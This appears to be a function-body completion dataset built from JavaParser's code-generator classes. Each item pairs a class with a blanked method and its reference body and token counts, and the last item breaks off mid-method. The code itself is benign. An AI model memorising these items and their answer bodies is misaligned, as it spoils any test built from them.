<methods>public abstract void generate() throws java.lang.Exception<variables>protected final non-sealed com.github.javaparser.utils.SourceRoot sourceRoot
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/CoreGenerator.java
|
CoreGenerator
|
main
|
class CoreGenerator {
private static final ParserConfiguration parserConfiguration = new ParserConfiguration()
.setLanguageLevel(RAW)
// .setStoreTokens(false)
// .setAttributeComments(false)
// .setLexicalPreservationEnabled(true)
;
public static void main(String[] args) throws Exception {<FILL_FUNCTION_BODY>}
private void run(SourceRoot sourceRoot, SourceRoot generatedJavaCcSourceRoot) throws Exception {
new TypeCastingGenerator(sourceRoot).generate();
new GenericListVisitorAdapterGenerator(sourceRoot).generate();
new GenericVisitorAdapterGenerator(sourceRoot).generate();
new GenericVisitorWithDefaultsGenerator(sourceRoot).generate();
new EqualsVisitorGenerator(sourceRoot).generate();
new ObjectIdentityEqualsVisitorGenerator(sourceRoot).generate();
new NoCommentEqualsVisitorGenerator(sourceRoot).generate();
new VoidVisitorAdapterGenerator(sourceRoot).generate();
new VoidVisitorGenerator(sourceRoot).generate();
new VoidVisitorWithDefaultsGenerator(sourceRoot).generate();
new GenericVisitorGenerator(sourceRoot).generate();
new HashCodeVisitorGenerator(sourceRoot).generate();
new ObjectIdentityHashCodeVisitorGenerator(sourceRoot).generate();
new NoCommentHashCodeVisitorGenerator(sourceRoot).generate();
new CloneVisitorGenerator(sourceRoot).generate();
new ModifierVisitorGenerator(sourceRoot).generate();
new PropertyGenerator(sourceRoot).generate();
new RemoveMethodGenerator(sourceRoot).generate();
new ReplaceMethodGenerator(sourceRoot).generate();
new CloneGenerator(sourceRoot).generate();
new GetMetaModelGenerator(sourceRoot).generate();
new MainConstructorGenerator(sourceRoot).generate();
new NodeModifierGenerator(sourceRoot).generate();
new AcceptGenerator(sourceRoot).generate();
new TokenKindGenerator(sourceRoot, generatedJavaCcSourceRoot).generate();
new BndGenerator(sourceRoot).generate();
new NotNullGenerator(sourceRoot).generate();
}
}
|
if (args.length != 1) {
throw new RuntimeException("Need 1 parameter: the JavaParser source checkout root directory.");
}
Log.setAdapter(new Log.StandardOutStandardErrorAdapter());
final Path root = Paths.get(args[0], "..", "javaparser-core", "src", "main", "java");
final SourceRoot sourceRoot = new SourceRoot(root, parserConfiguration)
// .setPrinter(LexicalPreservingPrinter::print)
;
StaticJavaParser.setConfiguration(parserConfiguration);
final Path generatedJavaCcRoot = Paths.get(args[0], "..", "javaparser-core", "target", "generated-sources", "javacc");
final SourceRoot generatedJavaCcSourceRoot = new SourceRoot(generatedJavaCcRoot, parserConfiguration)
// .setPrinter(LexicalPreservingPrinter::print)
;
new CoreGenerator().run(sourceRoot, generatedJavaCcSourceRoot);
sourceRoot.saveAll();
| 509
| 256
| 765
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/node/AcceptGenerator.java
|
AcceptGenerator
|
generateNode
|
class AcceptGenerator extends NodeGenerator {
private final MethodDeclaration genericAccept;
private final MethodDeclaration voidAccept;
public AcceptGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
genericAccept = parseBodyDeclaration("@Override public <R, A> R accept(final GenericVisitor<R, A> v, final A arg) { return v.visit(this, arg); }").asMethodDeclaration();
voidAccept = parseBodyDeclaration("@Override public <A> void accept(final VoidVisitor<A> v, final A arg) { v.visit(this, arg); }").asMethodDeclaration();
}
@Override
protected void generateNode(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, ClassOrInterfaceDeclaration nodeCoid) {<FILL_FUNCTION_BODY>}
}
|
if(nodeMetaModel.isAbstract()){
return;
}
nodeCu.addImport(GenericVisitor.class);
nodeCu.addImport(VoidVisitor.class);
addOrReplaceWhenSameSignature(nodeCoid, genericAccept);
addOrReplaceWhenSameSignature(nodeCoid, voidAccept);
| 201
| 83
| 284
|
<methods>public final void generate() throws java.lang.Exception<variables>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/node/CloneGenerator.java
|
CloneGenerator
|
generateNode
|
class CloneGenerator extends NodeGenerator {
public CloneGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
protected void generateNode(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, ClassOrInterfaceDeclaration nodeCoid) {<FILL_FUNCTION_BODY>}
}
|
nodeCu.addImport(CloneVisitor.class);
MethodDeclaration cloneMethod = (MethodDeclaration) parseBodyDeclaration(f(
"@Override public %s clone() { return (%s) accept(new CloneVisitor(), null); }",
nodeMetaModel.getTypeNameGenerified(),
nodeMetaModel.getTypeNameGenerified()
));
addOrReplaceWhenSameSignature(nodeCoid, cloneMethod);
| 81
| 107
| 188
|
<methods>public final void generate() throws java.lang.Exception<variables>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/node/GetMetaModelGenerator.java
|
GetMetaModelGenerator
|
generateNode
|
class GetMetaModelGenerator extends NodeGenerator {
public GetMetaModelGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
protected void generateNode(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, ClassOrInterfaceDeclaration nodeCoid) {<FILL_FUNCTION_BODY>}
}
|
final MethodDeclaration getMetaModelMethod = (MethodDeclaration) parseBodyDeclaration(f("%s public %s getMetaModel() { return JavaParserMetaModel.%s; }",
nodeMetaModel.isRootNode() ? "" : "@Override",
nodeMetaModel.getClass().getSimpleName(),
nodeMetaModel.getMetaModelFieldName()));
addOrReplaceWhenSameSignature(nodeCoid, getMetaModelMethod);
nodeCu.addImport(nodeMetaModel.getClass().getName());
nodeCu.addImport(JavaParserMetaModel.class);
| 83
| 136
| 219
|
<methods>public final void generate() throws java.lang.Exception<variables>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/node/MainConstructorGenerator.java
|
MainConstructorGenerator
|
generateNode
|
class MainConstructorGenerator extends NodeGenerator {
public MainConstructorGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
protected void generateNode(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, ClassOrInterfaceDeclaration nodeCoid) {<FILL_FUNCTION_BODY>}
}
|
if (nodeMetaModel.is(Node.class)) {
return;
}
ConstructorDeclaration constructor = new ConstructorDeclaration()
.setPublic(true)
.setName(nodeCoid.getNameAsString())
.addParameter(TokenRange.class, "tokenRange")
.setJavadocComment("\n * This constructor is used by the parser and is considered private.\n ");
BlockStmt body = constructor.getBody();
SeparatedItemStringBuilder superCall = new SeparatedItemStringBuilder("super(", ", ", ");");
superCall.append("tokenRange");
for (PropertyMetaModel parameter : nodeMetaModel.getConstructorParameters()) {
constructor.addParameter(parameter.getTypeNameForSetter(), parameter.getName());
if (nodeMetaModel.getDeclaredPropertyMetaModels().contains(parameter)) {
body.addStatement(f("%s(%s);", parameter.getSetterMethodName(), parameter.getName()));
} else {
superCall.append(parameter.getName());
}
}
body.getStatements().addFirst(parseExplicitConstructorInvocationStmt(superCall.toString()));
body.addStatement("customInitialization();");
addOrReplaceWhenSameSignature(nodeCoid, constructor);
nodeCu.addImport(TokenRange.class);
| 81
| 326
| 407
|
<methods>public final void generate() throws java.lang.Exception<variables>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/node/PropertyGenerator.java
|
PropertyGenerator
|
generateSetter
|
class PropertyGenerator extends NodeGenerator {
private final Map<String, PropertyMetaModel> declaredProperties = new HashMap<>();
private final Map<String, PropertyMetaModel> derivedProperties = new HashMap<>();
public PropertyGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
protected void generateNode(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, ClassOrInterfaceDeclaration nodeCoid) {
for (PropertyMetaModel property : nodeMetaModel.getDeclaredPropertyMetaModels()) {
generateGetter(nodeMetaModel, nodeCoid, property);
generateSetter(nodeMetaModel, nodeCoid, property);
}
nodeMetaModel.getDerivedPropertyMetaModels().forEach(p -> derivedProperties.put(p.getName(), p));
}
private void generateSetter(BaseNodeMetaModel nodeMetaModel, ClassOrInterfaceDeclaration nodeCoid, PropertyMetaModel property) {<FILL_FUNCTION_BODY>}
private void generateGetter(BaseNodeMetaModel nodeMetaModel, ClassOrInterfaceDeclaration nodeCoid, PropertyMetaModel property) {
final MethodDeclaration getter = new MethodDeclaration(createModifierList(PUBLIC), parseType(property.getTypeNameForGetter()), property.getGetterMethodName());
annotateWhenOverridden(nodeMetaModel, getter);
final BlockStmt body = getter.getBody().get();
body.getStatements().clear();
if (property.isOptional()) {
// Ensure imports have been included.
nodeCoid.findCompilationUnit().get().addImport(Optional.class);
body.addStatement(f("return Optional.ofNullable(%s);", property.getName()));
} else {
body.addStatement(f("return %s;", property.getName()));
}
addOrReplaceWhenSameSignature(nodeCoid, getter);
}
private void generateObservableProperty(EnumDeclaration observablePropertyEnum, PropertyMetaModel property, boolean derived) {
boolean isAttribute = !Node.class.isAssignableFrom(property.getType());
String name = property.getName();
String constantName = camelCaseToScreaming(name.startsWith("is") ? name.substring(2) : name);
EnumConstantDeclaration enumConstantDeclaration = observablePropertyEnum.addEnumConstant(constantName);
if (isAttribute) {
enumConstantDeclaration.addArgument("Type.SINGLE_ATTRIBUTE");
} else {
if (property.isNodeList()) {
enumConstantDeclaration.addArgument("Type.MULTIPLE_REFERENCE");
} else {
enumConstantDeclaration.addArgument("Type.SINGLE_REFERENCE");
}
}
if (derived) {
enumConstantDeclaration.addArgument("true");
}
}
@Override
protected void after() throws Exception {
CompilationUnit observablePropertyCu = sourceRoot.tryToParse("com.github.javaparser.ast.observer", "ObservableProperty.java").getResult().get();
EnumDeclaration observablePropertyEnum = observablePropertyCu.getEnumByName("ObservableProperty").get();
observablePropertyEnum.getEntries().clear();
List<String> observablePropertyNames = new LinkedList<>(declaredProperties.keySet());
observablePropertyNames.sort(String::compareTo);
for (String propName : observablePropertyNames) {
generateObservableProperty(observablePropertyEnum, declaredProperties.get(propName), false);
}
List<String> derivedPropertyNames = new LinkedList<>(derivedProperties.keySet());
derivedPropertyNames.sort(String::compareTo);
for (String propName : derivedPropertyNames) {
generateObservableProperty(observablePropertyEnum, derivedProperties.get(propName), true);
}
observablePropertyEnum.addEnumConstant("RANGE");
observablePropertyEnum.addEnumConstant("COMMENTED_NODE");
}
}
|
// Ensure the relevant imports have been added for the methods/annotations used
nodeCoid.findCompilationUnit().get().addImport(ObservableProperty.class);
final String name = property.getName();
// Fill body
final String observableName = camelCaseToScreaming(name.startsWith("is") ? name.substring(2) : name);
declaredProperties.put(observableName, property);
if (property == JavaParserMetaModel.nodeMetaModel.commentPropertyMetaModel) {
// Node.comment has a very specific setter that we shouldn't overwrite.
return;
}
final MethodDeclaration setter = new MethodDeclaration(createModifierList(PUBLIC), parseType(property.getContainingNodeMetaModel().getTypeNameGenerified()), property.getSetterMethodName());
annotateWhenOverridden(nodeMetaModel, setter);
if (property.getContainingNodeMetaModel().hasWildcard()) {
setter.setType(parseType("T"));
}
setter.addAndGetParameter(property.getTypeNameForSetter(), property.getName())
.addModifier(FINAL);
final BlockStmt body = setter.getBody().get();
body.getStatements().clear();
if (property.isRequired()) {
Class<?> type = property.getType();
if (property.isNonEmpty() && property.isSingular()) {
nodeCoid.findCompilationUnit().get().addImport("com.github.javaparser.utils.Utils.assertNonEmpty", true, false);
body.addStatement(f("assertNonEmpty(%s);", name));
} else if (type != boolean.class && type != int.class) {
nodeCoid.findCompilationUnit().get().addImport("com.github.javaparser.utils.Utils.assertNotNull", true, false);
body.addStatement(f("assertNotNull(%s);", name));
}
}
// Check if the new value is the same as the old value
String returnValue = CodeUtils.castValue("this", setter.getType(), nodeMetaModel.getTypeName());
body.addStatement(f("if (%s == this.%s) { return %s; }", name, name, returnValue));
body.addStatement(f("notifyPropertyChange(ObservableProperty.%s, this.%s, %s);", observableName, name, name));
if (property.isNode()) {
body.addStatement(f("if (this.%s != null) this.%s.setParentNode(null);", name, name));
}
body.addStatement(f("this.%s = %s;", name, name));
if (property.isNode()) {
body.addStatement(f("setAsParentNodeOf(%s);", name));
}
if (property.getContainingNodeMetaModel().hasWildcard()) {
body.addStatement(f("return (T) this;"));
} else {
body.addStatement(f("return this;"));
}
addOrReplaceWhenSameSignature(nodeCoid, setter);
if (property.getContainingNodeMetaModel().hasWildcard()) {
annotateSuppressWarnings(setter);
}
| 960
| 819
| 1,779
|
<methods>public final void generate() throws java.lang.Exception<variables>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/node/RemoveMethodGenerator.java
|
RemoveMethodGenerator
|
nodeListCheck
|
class RemoveMethodGenerator extends NodeGenerator {
public RemoveMethodGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
protected void generateNode(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, ClassOrInterfaceDeclaration nodeCoid) {
MethodDeclaration removeNodeMethod = (MethodDeclaration) parseBodyDeclaration("public boolean remove(Node node) {}");
nodeCu.addImport(Node.class);
annotateWhenOverridden(nodeMetaModel, removeNodeMethod);
final BlockStmt body = removeNodeMethod.getBody().get();
body.addStatement("if (node == null) { return false; }");
int numberPropertiesDeclared = 0;
for (PropertyMetaModel property : nodeMetaModel.getDeclaredPropertyMetaModels()) {
if (!property.isNode()) {
continue;
}
String check;
if (property.isNodeList()) {
check = nodeListCheck(property);
} else {
if (property.isRequired()) {
continue;
}
String removeAttributeMethodName = generateRemoveMethodForAttribute(nodeCoid, nodeMetaModel, property);
check = attributeCheck(property, removeAttributeMethodName);
}
if (property.isOptional()) {
check = f("if (%s != null) { %s }", property.getName(), check);
}
body.addStatement(check);
numberPropertiesDeclared++;
}
if (nodeMetaModel.getSuperNodeMetaModel().isPresent()) {
body.addStatement("return super.remove(node);");
} else {
body.addStatement("return false;");
}
if (!nodeMetaModel.isRootNode() && numberPropertiesDeclared == 0) {
removeMethodWithSameSignature(nodeCoid, removeNodeMethod);
} else {
addOrReplaceWhenSameSignature(nodeCoid, removeNodeMethod);
}
}
private String attributeCheck(PropertyMetaModel property, String removeAttributeMethodName) {
return f("if (node == %s) {" +
" %s();" +
" return true;\n" +
"}", property.getName(), removeAttributeMethodName);
}
private String nodeListCheck(PropertyMetaModel property) {<FILL_FUNCTION_BODY>}
private String generateRemoveMethodForAttribute(ClassOrInterfaceDeclaration nodeCoid, BaseNodeMetaModel nodeMetaModel, PropertyMetaModel property) {
final String methodName = "remove" + capitalize(property.getName());
final MethodDeclaration removeMethod = (MethodDeclaration) parseBodyDeclaration(f("public %s %s() {}", nodeMetaModel.getTypeName(), methodName));
final BlockStmt block = removeMethod.getBody().get();
block.addStatement(f("return %s((%s) null);", property.getSetterMethodName(), property.getTypeNameForSetter()));
addOrReplaceWhenSameSignature(nodeCoid, removeMethod);
return methodName;
}
}
|
return f("for (int i = 0; i < %s.size(); i++) {" +
" if (%s.get(i) == node) {" +
" %s.remove(i);" +
" return true;" +
" }" +
"}", property.getName(), property.getName(), property.getName());
| 738
| 90
| 828
|
<methods>public final void generate() throws java.lang.Exception<variables>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/node/ReplaceMethodGenerator.java
|
ReplaceMethodGenerator
|
attributeCheck
|
class ReplaceMethodGenerator extends NodeGenerator {
public ReplaceMethodGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
protected void generateNode(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, ClassOrInterfaceDeclaration nodeCoid) {
MethodDeclaration replaceNodeMethod = (MethodDeclaration) parseBodyDeclaration("public boolean replace(Node node, Node replacementNode) {}");
nodeCu.addImport(Node.class);
annotateWhenOverridden(nodeMetaModel, replaceNodeMethod);
final BlockStmt body = replaceNodeMethod.getBody().get();
body.addStatement("if (node == null) { return false; }");
int numberPropertiesDeclared = 0;
for (PropertyMetaModel property : nodeMetaModel.getDeclaredPropertyMetaModels()) {
if (!property.isNode()) {
continue;
}
String check;
if (property.isNodeList()) {
check = nodeListCheck(property);
} else {
check = attributeCheck(property, property.getSetterMethodName());
}
if (property.isOptional()) {
check = f("if (%s != null) { %s }", property.getName(), check);
}
body.addStatement(check);
numberPropertiesDeclared++;
}
if (nodeMetaModel.getSuperNodeMetaModel().isPresent()) {
body.addStatement("return super.replace(node, replacementNode);");
} else {
body.addStatement("return false;");
}
if (!nodeMetaModel.isRootNode() && numberPropertiesDeclared == 0) {
removeMethodWithSameSignature(nodeCoid, replaceNodeMethod);
} else {
addOrReplaceWhenSameSignature(nodeCoid, replaceNodeMethod);
}
}
private String attributeCheck(PropertyMetaModel property, String attributeSetterName) {<FILL_FUNCTION_BODY>}
private String nodeListCheck(PropertyMetaModel property) {
return f("for (int i = 0; i < %s.size(); i++) {" +
" if (%s.get(i) == node) {" +
" %s.set(i, (%s) replacementNode);" +
" return true;" +
" }" +
"}", property.getName(), property.getName(), property.getName(), property.getTypeName());
}
}
|
return f("if (node == %s) {" +
" %s((%s) replacementNode);" +
" return true;\n" +
"}", property.getName(), attributeSetterName, property.getTypeName());
| 596
| 62
| 658
|
<methods>public final void generate() throws java.lang.Exception<variables>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/node/TypeCastingGenerator.java
|
TypeCastingGenerator
|
generateIfType
|
class TypeCastingGenerator extends NodeGenerator {
private final Set<BaseNodeMetaModel> baseNodes = set(
JavaParserMetaModel.statementMetaModel,
JavaParserMetaModel.expressionMetaModel,
JavaParserMetaModel.typeMetaModel,
JavaParserMetaModel.moduleDirectiveMetaModel,
JavaParserMetaModel.bodyDeclarationMetaModel,
JavaParserMetaModel.commentMetaModel
);
public TypeCastingGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
protected void generateNode(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, ClassOrInterfaceDeclaration nodeCoid) throws Exception {
Pair<CompilationUnit, ClassOrInterfaceDeclaration> baseCode = null;
for (BaseNodeMetaModel baseNode : baseNodes) {
if(nodeMetaModel == baseNode) {
// We adjust the base models from the child nodes,
// so we don't do anything when we *are* the base model.
return;
}
if (nodeMetaModel.isInstanceOfMetaModel(baseNode)) {
baseCode = parseNode(baseNode);
}
}
if (baseCode == null) {
// Node is not a child of one of the base nodes, so we don't want to generate this method for it.
return;
}
final String typeName = nodeMetaModel.getTypeName();
final ClassOrInterfaceDeclaration baseCoid = baseCode.b;
final CompilationUnit baseCu = baseCode.a;
generateIsType(nodeMetaModel, baseCu, nodeCoid, baseCoid, typeName);
generateAsType(nodeMetaModel, baseCu, nodeCoid, baseCoid, typeName);
generateToType(nodeMetaModel, nodeCu, baseCu, nodeCoid, baseCoid, typeName);
generateIfType(nodeMetaModel, nodeCu, baseCu, nodeCoid, baseCoid, typeName);
}
private void generateAsType(BaseNodeMetaModel nodeMetaModel, CompilationUnit baseCu, ClassOrInterfaceDeclaration nodeCoid, ClassOrInterfaceDeclaration baseCoid, String typeName) {
baseCu.addImport("com.github.javaparser.utils.CodeGenerationUtils.f", true, false);
final MethodDeclaration asTypeBaseMethod = (MethodDeclaration) parseBodyDeclaration(f("public %s as%s() { throw new IllegalStateException(f(\"%%s is not %s, it is %%s\", this, this.getClass().getSimpleName())); }", typeName, typeName, typeName));
final MethodDeclaration asTypeNodeMethod = (MethodDeclaration) parseBodyDeclaration(f("@Override public %s as%s() { return this; }", typeName, typeName));
annotateWhenOverridden(nodeMetaModel, asTypeNodeMethod);
addOrReplaceWhenSameSignature(baseCoid, asTypeBaseMethod);
addOrReplaceWhenSameSignature(nodeCoid, asTypeNodeMethod);
}
private void generateToType(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, CompilationUnit baseCu, ClassOrInterfaceDeclaration nodeCoid, ClassOrInterfaceDeclaration baseCoid, String typeName) {
baseCu.addImport(Optional.class);
nodeCu.addImport(Optional.class);
final MethodDeclaration toTypeBaseMethod = (MethodDeclaration) parseBodyDeclaration(f("public Optional<%s> to%s() { return Optional.empty(); }", typeName, typeName, typeName));
final MethodDeclaration toTypeNodeMethod = (MethodDeclaration) parseBodyDeclaration(f("@Override public Optional<%s> to%s() { return Optional.of(this); }", typeName, typeName));
annotateWhenOverridden(nodeMetaModel, toTypeNodeMethod);
addOrReplaceWhenSameSignature(baseCoid, toTypeBaseMethod);
addOrReplaceWhenSameSignature(nodeCoid, toTypeNodeMethod);
}
private void generateIfType(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, CompilationUnit baseCu, ClassOrInterfaceDeclaration nodeCoid, ClassOrInterfaceDeclaration baseCoid, String typeName) {<FILL_FUNCTION_BODY>}
private void generateIsType(BaseNodeMetaModel nodeMetaModel, CompilationUnit baseCu, ClassOrInterfaceDeclaration nodeCoid, ClassOrInterfaceDeclaration baseCoid, String typeName) {
final MethodDeclaration baseIsTypeMethod = (MethodDeclaration) parseBodyDeclaration(f("public boolean is%s() { return false; }", typeName));
final MethodDeclaration overriddenIsTypeMethod = (MethodDeclaration) parseBodyDeclaration(f("@Override public boolean is%s() { return true; }", typeName));
annotateWhenOverridden(nodeMetaModel, overriddenIsTypeMethod);
addOrReplaceWhenSameSignature(nodeCoid, overriddenIsTypeMethod);
addOrReplaceWhenSameSignature(baseCoid, baseIsTypeMethod);
}
}
|
baseCu.addImport(Consumer.class);
nodeCu.addImport(Consumer.class);
final MethodDeclaration ifTypeBaseMethod = (MethodDeclaration) parseBodyDeclaration(f("public void if%s(Consumer<%s> action) { }", typeName, typeName));
final MethodDeclaration ifTypeNodeMethod = (MethodDeclaration) parseBodyDeclaration(f("public void if%s(Consumer<%s> action) { action.accept(this); }", typeName, typeName));
annotateWhenOverridden(nodeMetaModel, ifTypeNodeMethod);
addOrReplaceWhenSameSignature(baseCoid, ifTypeBaseMethod);
addOrReplaceWhenSameSignature(nodeCoid, ifTypeNodeMethod);
| 1,198
| 174
| 1,372
|
<methods>public final void generate() throws java.lang.Exception<variables>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/other/BndGenerator.java
|
BndGenerator
|
generate
|
class BndGenerator extends Generator {
public BndGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
public void generate() throws IOException {<FILL_FUNCTION_BODY>}
private String concatPackageName(String packageName, String packageList, String lineSeparator) {
return (packageList == null ?
("\\" + lineSeparator) :
(packageList + ", \\" + lineSeparator)) + " " + packageName;
}
private static String getPackageName(Path root, Path path) {
return root.relativize(path.getParent()).toString().replace(File.separatorChar, '.');
}
}
|
Log.info("Running %s", () -> getClass().getSimpleName());
Path root = sourceRoot.getRoot();
Path projectRoot = root.getParent().getParent().getParent();
String lineSeparator = System.getProperty("line.separator");
try (Stream<Path> stream = Files.walk(root)) {
String packagesList = stream
.filter(Files::isRegularFile)
.map(path -> getPackageName(root, path))
.distinct()
.sorted()
.reduce(null, (packageList, packageName) ->
concatPackageName(packageName, packageList, lineSeparator));
Path output = projectRoot.resolve("bnd.bnd");
try(Writer writer = Files.newBufferedWriter(output)) {
Path templateFile = projectRoot.resolve("bnd.bnd.template");
String template = new String(Files.readAllBytes(templateFile), StandardCharsets.UTF_8);
writer.write(template.replace("{exportedPackages}", packagesList));
}
Log.info("Written " + output);
}
| 177
| 281
| 458
|
<methods>public abstract void generate() throws java.lang.Exception<variables>protected final non-sealed com.github.javaparser.utils.SourceRoot sourceRoot
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/other/GrammarLetterGenerator.java
|
GrammarLetterGenerator
|
generate
|
class GrammarLetterGenerator {
public static void main(String[] args) {
generate("LETTER", c -> Character.isJavaIdentifierStart(c) || Character.isHighSurrogate((char) (int) c) || Character.isLowSurrogate((char) (int) c));
generate("PART_LETTER", c -> Character.isJavaIdentifierPart(c) || Character.isHighSurrogate((char) (int) c) || Character.isLowSurrogate((char) (int) c));
}
private static void generate(String tokenName, Function<Integer, Boolean> f) {<FILL_FUNCTION_BODY>}
private static String format(int i) {
return String.format("\"\\u%04x\"", i);
}
}
|
final String indent = " ";
System.out.println(" < #" + tokenName + ": [");
System.out.print(indent);
int nltime = 0;
int i = 0;
while (i < 0x10000) {
while (!f.apply(i) && i < 0x10000) {
i++;
}
String start = format(i);
while (f.apply(i) && i < 0x10000) {
i++;
}
String end = format(i - 1);
if (i >= 0x10000) {
break;
}
if (start.equals(end)) {
nltime++;
System.out.print(start + ", ");
} else {
nltime += 2;
System.out.print(start + "-" + end + ", ");
}
if (nltime >= 10) {
nltime = 0;
System.out.println();
System.out.print(indent);
}
}
// Too lazy to remove the final illegal comma.
System.out.println("]");
System.out.println(" | <UNICODE_ESCAPE>");
System.out.println(" >");
| 195
| 337
| 532
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/other/TokenKindGenerator.java
|
TokenKindGenerator
|
generate
|
class TokenKindGenerator extends Generator {
private final SourceRoot generatedJavaCcSourceRoot;
public TokenKindGenerator(SourceRoot sourceRoot, SourceRoot generatedJavaCcSourceRoot) {
super(sourceRoot);
this.generatedJavaCcSourceRoot = generatedJavaCcSourceRoot;
}
@Override
public void generate() {<FILL_FUNCTION_BODY>}
private void generateValueOfEntry(SwitchStmt valueOfSwitch, String name, IntegerLiteralExpr kind) {
final SwitchEntry entry = new SwitchEntry(new NodeList<>(kind), SwitchEntry.Type.STATEMENT_GROUP, new NodeList<>(new ReturnStmt(name)), false);
valueOfSwitch.getEntries().addFirst(entry);
}
private void generateEnumEntry(EnumDeclaration kindEnum, String name, IntegerLiteralExpr kind) {
final EnumConstantDeclaration enumEntry = new EnumConstantDeclaration(name);
enumEntry.getArguments().add(kind);
kindEnum.addEntry(enumEntry);
}
}
|
Log.info("Running %s", () -> getClass().getSimpleName());
final CompilationUnit javaTokenCu = sourceRoot.parse("com.github.javaparser", "JavaToken.java");
final ClassOrInterfaceDeclaration javaToken = javaTokenCu.getClassByName("JavaToken").orElseThrow(() -> new AssertionError("Can't find class in java file."));
final EnumDeclaration kindEnum = javaToken.findFirst(EnumDeclaration.class, e -> "Kind".equals(e.getNameAsString())).orElseThrow(() -> new AssertionError("Can't find class in java file."));
kindEnum.getEntries().clear();
annotateGenerated(kindEnum);
final SwitchStmt valueOfSwitch = kindEnum.findFirst(SwitchStmt.class).orElseThrow(() -> new AssertionError("Can't find valueOf switch."));
valueOfSwitch.findAll(SwitchEntry.class).stream().filter(e -> e.getLabels().isNonEmpty()).forEach(Node::remove);
final CompilationUnit constantsCu = generatedJavaCcSourceRoot.parse("com.github.javaparser", "GeneratedJavaParserConstants.java");
final ClassOrInterfaceDeclaration constants = constantsCu.getInterfaceByName("GeneratedJavaParserConstants").orElseThrow(() -> new AssertionError("Can't find class in java file."));
for (BodyDeclaration<?> member : constants.getMembers()) {
member.toFieldDeclaration()
.filter(field -> {
String javadoc = field.getJavadocComment().get().getContent();
return javadoc.contains("RegularExpression Id") || javadoc.contains("End of File");
})
.map(field -> field.getVariable(0))
.ifPresent(var -> {
final String name = var.getNameAsString();
final IntegerLiteralExpr kind = var.getInitializer().get().asIntegerLiteralExpr();
generateEnumEntry(kindEnum, name, kind);
generateValueOfEntry(valueOfSwitch, name, kind);
});
}
| 254
| 507
| 761
|
<methods>public abstract void generate() throws java.lang.Exception<variables>protected final non-sealed com.github.javaparser.utils.SourceRoot sourceRoot
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/quality/NotNullGenerator.java
|
NotNullGenerator
|
insertAssertionsInBlock
|
class NotNullGenerator extends CompilationUnitGenerator {
public NotNullGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
public void generateCompilationUnit(CompilationUnit compilationUnit) {
compilationUnit.findAll(ConstructorDeclaration.class).forEach(this::generateQualityForConstructor);
compilationUnit.findAll(MethodDeclaration.class).forEach(this::generateQualityForMethod);
}
/**
* Generate the pre conditions based on the method parameters.
* <br>
* If parameters are annotated with {@link com.github.javaparser.quality.NotNull} and a {@code null} is
* passed, the method should throw an {@link IllegalArgumentException}.
* <br>
* If annotated with {@link com.github.javaparser.quality.Nullable}, other annotation or none, nothing should be
* changed.
*
* @param methodDeclaration The method declaration to generate.
*/
protected void generateQualityForMethod(MethodDeclaration methodDeclaration) {
methodDeclaration.getBody().ifPresent(blockStmt ->
generateQualityForParameter(methodDeclaration, methodDeclaration.getParameters(), blockStmt));
}
/**
* Generate the pre conditions based on the constructor parameters.
* <br>
* If parameters are annotated with {@link com.github.javaparser.quality.NotNull} and a {@code null} is
* passed, the method should throw an {@link IllegalArgumentException}.
* <br>
* If annotated with {@link com.github.javaparser.quality.Nullable}, other annotation or none, nothing should be
* changed.
*
* @param constructorDeclaration The constructor declaration to generate.
*/
protected void generateQualityForConstructor(ConstructorDeclaration constructorDeclaration) {
generateQualityForParameter(constructorDeclaration, constructorDeclaration.getParameters(), constructorDeclaration.getBody());
}
/**
* Generate the pre conditions for the parameters.
* <br>
* If parameters are annotated with {@link com.github.javaparser.quality.NotNull} and a {@code null} is
* passed, the method should throw an {@link IllegalArgumentException}.
* <br>
* If annotated with {@link com.github.javaparser.quality.Nullable}, other annotation or none, nothing should be
* changed.
*
* @param callableDeclaration The declaration where the parameters belong.
* @param parameters The list of parameters.
* @param blockStmt The block where the assertions should be added.
*
* @param <N> The callable declaration type.
*/
protected <N extends CallableDeclaration<?>>
void generateQualityForParameter(N callableDeclaration, NodeList<Parameter> parameters, BlockStmt blockStmt) {
List<Statement> assertions = new ArrayList<>();
